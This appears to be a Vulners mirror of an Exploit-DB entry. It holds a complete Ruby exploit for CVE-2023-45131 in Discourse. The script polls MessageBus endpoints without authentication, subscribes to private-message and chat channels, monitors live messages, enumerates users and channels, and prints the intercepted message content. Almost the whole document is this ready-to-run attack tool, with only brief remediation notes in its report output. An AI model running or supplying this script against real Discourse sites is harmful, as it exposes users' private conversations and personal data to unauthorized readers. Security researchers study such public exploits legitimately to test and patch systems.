Lucene search
K

Discourse 3.1.1 - Unauthenticated Chat Message Access

🗓️ 22 Jul 2025 00:00:00Reported by İbrahimsqlType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 222 Views

Discourse 3.1.1 has unauthenticated chat message access vulnerability with CVSS score of 7.5.

Related
Code
#!/usr/bin/env ruby
# Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
# CVE-2023-45131
# CVSS: 7.5 (High)
# Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
# Author ibrahimsql @ https://twitter.com/ibrahmsql
# Date: 2023-12-14

require 'net/http'
require 'uri'
require 'json'
require 'openssl'
require 'base64'

class CVE202345131
  def initialize(target_url)
    @target_url = target_url.chomp('/')
    @results = []
    @message_bus_client_id = nil
    @csrf_token = nil
  end

  def run_exploit
    puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
    puts "[*] Target: #{@target_url}"
    puts "[*] CVSS Score: 7.5 (High)"
    puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"

    # Test MessageBus access
    test_messagebus_access
    test_chat_channel_enumeration
    test_private_message_access
    test_real_time_monitoring
    test_message_history_access
    test_user_enumeration_via_chat

    generate_report
    @results
  end

  private

  def test_messagebus_access
    puts "[*] Testing MessageBus unauthenticated access..."
    
    begin
      # Get MessageBus client ID
      uri = URI("#{@target_url}/message-bus/poll")
      
      response = make_request(uri, 'GET')
      
      if response && response.code == '200'
        begin
          data = JSON.parse(response.body)
          if data.is_a?(Array) && !data.empty?
            @message_bus_client_id = extract_client_id(response)
            
            @results << {
              vulnerability: "MessageBus Access",
              severity: "High",
              description: "Unauthenticated access to MessageBus endpoint confirmed",
              impact: "Can monitor real-time messages and notifications",
              client_id: @message_bus_client_id
            }
            puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
            return true
          end
        rescue JSON::ParserError
          # Try alternative endpoints
          test_alternative_messagebus_endpoints
        end
      end
    rescue => e
      puts "[!] Error testing MessageBus access: #{e.message}"
    end
    
    false
  end

  def test_alternative_messagebus_endpoints
    puts "[*] Testing alternative MessageBus endpoints..."
    
    endpoints = [
      "/message-bus/poll",
      "/message-bus/subscribe",
      "/message-bus/diagnostics",
      "/message-bus/long-poll"
    ]

    endpoints.each do |endpoint|
      begin
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          if response.body.include?('message-bus') || response.body.include?('clientId')
            @results << {
              vulnerability: "Alternative MessageBus Endpoint",
              severity: "Medium",
              endpoint: endpoint,
              description: "Alternative MessageBus endpoint accessible",
              impact: "Potential message monitoring capability"
            }
            puts "[+] Alternative endpoint accessible: #{endpoint}"
          end
        end
      rescue => e
        puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
      end
    end
  end

  def test_chat_channel_enumeration
    puts "[*] Testing chat channel enumeration..."
    
    return unless @message_bus_client_id
    
    begin
      # Try to enumerate chat channels
      uri = URI("#{@target_url}/message-bus/poll")
      
      # Subscribe to chat channels
      data = {
        '/chat/new-messages' => -1,
        '/chat/channel-status' => -1,
        '/chat/user-tracking' => -1,
        'clientId' => @message_bus_client_id
      }
      
      response = make_request(uri, 'POST', data)
      
      if response && response.code == '200'
        begin
          messages = JSON.parse(response.body)
          
          if messages.is_a?(Array) && !messages.empty?
            chat_channels = extract_chat_channels(messages)
            
            if !chat_channels.empty?
              @results << {
                vulnerability: "Chat Channel Enumeration",
                severity: "High",
                channels: chat_channels,
                description: "Enumerated accessible chat channels",
                impact: "Can identify active chat channels and participants"
              }
              puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
            end
          end
        rescue JSON::ParserError => e
          puts "[!] Error parsing chat channel response: #{e.message}"
        end
      end
    rescue => e
      puts "[!] Error enumerating chat channels: #{e.message}"
    end
  end

  def test_private_message_access
    puts "[*] Testing private message access..."
    
    return unless @message_bus_client_id
    
    begin
      # Try to access private messages
      uri = URI("#{@target_url}/message-bus/poll")
      
      # Subscribe to private message channels
      data = {
        '/private-messages' => -1,
        '/chat/private' => -1,
        '/notification' => -1,
        'clientId' => @message_bus_client_id
      }
      
      response = make_request(uri, 'POST', data)
      
      if response && response.code == '200'
        begin
          messages = JSON.parse(response.body)
          
          if messages.is_a?(Array)
            private_messages = extract_private_messages(messages)
            
            if !private_messages.empty?
              @results << {
                vulnerability: "Private Message Access",
                severity: "Critical",
                messages: private_messages,
                description: "Accessed private chat messages without authentication",
                impact: "Complete breach of private communication confidentiality"
              }
              puts "[+] Private messages accessed: #{private_messages.length} messages found"
              
              # Log sample messages (redacted)
              private_messages.first(3).each_with_index do |msg, idx|
                puts "    [#{idx + 1}] #{redact_message(msg)}"
              end
            end
          end
        rescue JSON::ParserError => e
          puts "[!] Error parsing private message response: #{e.message}"
        end
      end
    rescue => e
      puts "[!] Error accessing private messages: #{e.message}"
    end
  end

  def test_real_time_monitoring
    puts "[*] Testing real-time message monitoring..."
    
    return unless @message_bus_client_id
    
    begin
      puts "[*] Monitoring for 10 seconds..."
      
      start_time = Time.now
      monitored_messages = []
      
      while (Time.now - start_time) < 10
        uri = URI("#{@target_url}/message-bus/poll")
        
        data = {
          '/chat/new-messages' => 0,
          'clientId' => @message_bus_client_id
        }
        
        response = make_request(uri, 'POST', data)
        
        if response && response.code == '200'
          begin
            messages = JSON.parse(response.body)
            
            if messages.is_a?(Array) && !messages.empty?
              new_messages = extract_new_messages(messages)
              monitored_messages.concat(new_messages)
            end
          rescue JSON::ParserError
            # Continue monitoring
          end
        end
        
        sleep(1)
      end
      
      if !monitored_messages.empty?
        @results << {
          vulnerability: "Real-time Message Monitoring",
          severity: "High",
          messages_count: monitored_messages.length,
          description: "Successfully monitored real-time chat messages",
          impact: "Can intercept live communications"
        }
        puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
      else
        puts "[-] No real-time messages detected during monitoring period"
      end
    rescue => e
      puts "[!] Error during real-time monitoring: #{e.message}"
    end
  end

  def test_message_history_access
    puts "[*] Testing message history access..."
    
    begin
      # Try to access message history through various endpoints
      history_endpoints = [
        "/chat/api/channels",
        "/chat/api/messages",
        "/chat/history",
        "/api/chat/channels.json"
      ]
      
      history_endpoints.each do |endpoint|
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          begin
            data = JSON.parse(response.body)
            
            if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
              @results << {
                vulnerability: "Message History Access",
                severity: "High",
                endpoint: endpoint,
                description: "Accessed chat message history without authentication",
                impact: "Historical chat data exposure"
              }
              puts "[+] Message history accessible via: #{endpoint}"
            end
          rescue JSON::ParserError
            # Check for HTML responses that might contain chat data
            if response.body.include?('chat') && response.body.include?('message')
              @results << {
                vulnerability: "Message History Exposure",
                severity: "Medium",
                endpoint: endpoint,
                description: "Chat-related content found in response",
                impact: "Potential information disclosure"
              }
              puts "[+] Chat-related content found in: #{endpoint}"
            end
          end
        end
      end
    rescue => e
      puts "[!] Error testing message history access: #{e.message}"
    end
  end

  def test_user_enumeration_via_chat
    puts "[*] Testing user enumeration via chat features..."
    
    begin
      # Try to enumerate users through chat-related endpoints
      user_endpoints = [
        "/chat/api/users",
        "/chat/users.json",
        "/api/chat/users",
        "/chat/members"
      ]
      
      user_endpoints.each do |endpoint|
        uri = URI("#{@target_url}#{endpoint}")
        response = make_request(uri, 'GET')
        
        if response && response.code == '200'
          begin
            data = JSON.parse(response.body)
            
            if data.is_a?(Hash) && (data['users'] || data['members'])
              users = extract_users_from_chat(data)
              
              if !users.empty?
                @results << {
                  vulnerability: "User Enumeration via Chat",
                  severity: "Medium",
                  endpoint: endpoint,
                  users_count: users.length,
                  sample_users: users.first(5),
                  description: "Enumerated chat users without authentication",
                  impact: "User information disclosure"
                }
                puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
              end
            end
          rescue JSON::ParserError
            # Continue with next endpoint
          end
        end
      end
    rescue => e
      puts "[!] Error testing user enumeration: #{e.message}"
    end
  end

  def extract_client_id(response)
    # Extract client ID from response headers or body
    if response['X-MessageBus-Client-Id']
      return response['X-MessageBus-Client-Id']
    end
    
    # Try to extract from response body
    begin
      data = JSON.parse(response.body)
      if data.is_a?(Hash) && data['clientId']
        return data['clientId']
      end
    rescue JSON::ParserError
    end
    
    # Generate a random client ID
    SecureRandom.hex(16)
  end

  def extract_chat_channels(messages)
    channels = []
    
    messages.each do |message|
      if message.is_a?(Hash)
        if message['channel'] && message['channel'].include?('/chat/')
          channels << message['channel']
        elsif message['data'] && message['data'].is_a?(Hash)
          if message['data']['channel_id']
            channels << "Channel #{message['data']['channel_id']}"
          end
        end
      end
    end
    
    channels.uniq
  end

  def extract_private_messages(messages)
    private_msgs = []
    
    messages.each do |message|
      if message.is_a?(Hash)
        if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
          private_msgs << {
            channel: message['channel'],
            data: message['data'],
            timestamp: message['timestamp'] || Time.now.to_i
          }
        elsif message['data'] && message['data'].is_a?(Hash)
          if message['data']['message'] || message['data']['content']
            private_msgs << {
              content: message['data']['message'] || message['data']['content'],
              user: message['data']['user'] || message['data']['username'],
              timestamp: message['data']['timestamp'] || Time.now.to_i
            }
          end
        end
      end
    end
    
    private_msgs
  end

  def extract_new_messages(messages)
    new_msgs = []
    
    messages.each do |message|
      if message.is_a?(Hash) && message['data']
        new_msgs << {
          channel: message['channel'],
          data: message['data'],
          timestamp: Time.now.to_i
        }
      end
    end
    
    new_msgs
  end

  def extract_users_from_chat(data)
    users = []
    
    if data['users'] && data['users'].is_a?(Array)
      data['users'].each do |user|
        if user.is_a?(Hash)
          users << {
            username: user['username'],
            id: user['id'],
            name: user['name']
          }
        end
      end
    elsif data['members'] && data['members'].is_a?(Array)
      data['members'].each do |member|
        if member.is_a?(Hash)
          users << {
            username: member['username'] || member['user'],
            id: member['id'] || member['user_id']
          }
        end
      end
    end
    
    users
  end

  def redact_message(message)
    if message.is_a?(Hash)
      content = message[:content] || message['content'] || message[:data] || 'N/A'
      user = message[:user] || message['user'] || 'Unknown'
      "User: #{user}, Content: #{content.to_s[0..50]}..."
    else
      message.to_s[0..50] + "..."
    end
  end

  def make_request(uri, method = 'GET', data = nil, headers = {})
    begin
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = (uri.scheme == 'https')
      http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
      http.read_timeout = 10
      http.open_timeout = 10

      request = case method.upcase
                when 'GET'
                  Net::HTTP::Get.new(uri.request_uri)
                when 'POST'
                  req = Net::HTTP::Post.new(uri.request_uri)
                  if data
                    if data.is_a?(Hash)
                      req.set_form_data(data)
                    else
                      req.body = data
                      req['Content-Type'] = 'application/json'
                    end
                  end
                  req
                end

      # Set headers
      request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
      request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
      request['X-Requested-With'] = 'XMLHttpRequest'
      headers.each { |key, value| request[key] = value }

      response = http.request(request)
      return response
    rescue => e
      puts "[!] Request failed: #{e.message}"
      return nil
    end
  end

  def generate_report
    puts "\n" + "="*60
    puts "CVE-2023-45131 Exploitation Report"
    puts "="*60
    puts "Target: #{@target_url}"
    puts "Vulnerabilities Found: #{@results.length}"
    
    if @results.empty?
      puts "[+] No chat message access vulnerabilities detected"
    else
      puts "\n[!] VULNERABILITIES DETECTED:"
      @results.each_with_index do |result, index|
        puts "\n#{index + 1}. #{result[:vulnerability]}"
        puts "   Severity: #{result[:severity]}"
        puts "   Description: #{result[:description]}"
        puts "   Impact: #{result[:impact]}"
        
        if result[:messages_count]
          puts "   Messages Found: #{result[:messages_count]}"
        end
        if result[:channels]
          puts "   Channels: #{result[:channels].join(', ')}"
        end
        if result[:endpoint]
          puts "   Endpoint: #{result[:endpoint]}"
        end
      end
      
      puts "\n[!] REMEDIATION:"
      puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
      puts "2. Implement proper authentication for MessageBus endpoints"
      puts "3. Review and restrict access to chat-related APIs"
      puts "4. Monitor MessageBus access logs for suspicious activity"
      puts "5. Consider disabling chat features if not required"
    end
    
    puts "\n" + "="*60
  end
end

# Run the exploit if called directly
if __FILE__ == $0
  if ARGV.length != 1
    puts "Usage: ruby #{$0} <target_url>"
    puts "Example: ruby #{$0} https://discourse.example.com"
    exit 1
  end

  target_url = ARGV[0]
  exploit = CVE202345131.new(target_url)
  exploit.run_exploit
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jul 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.5
EPSS0.07392
SSVC
222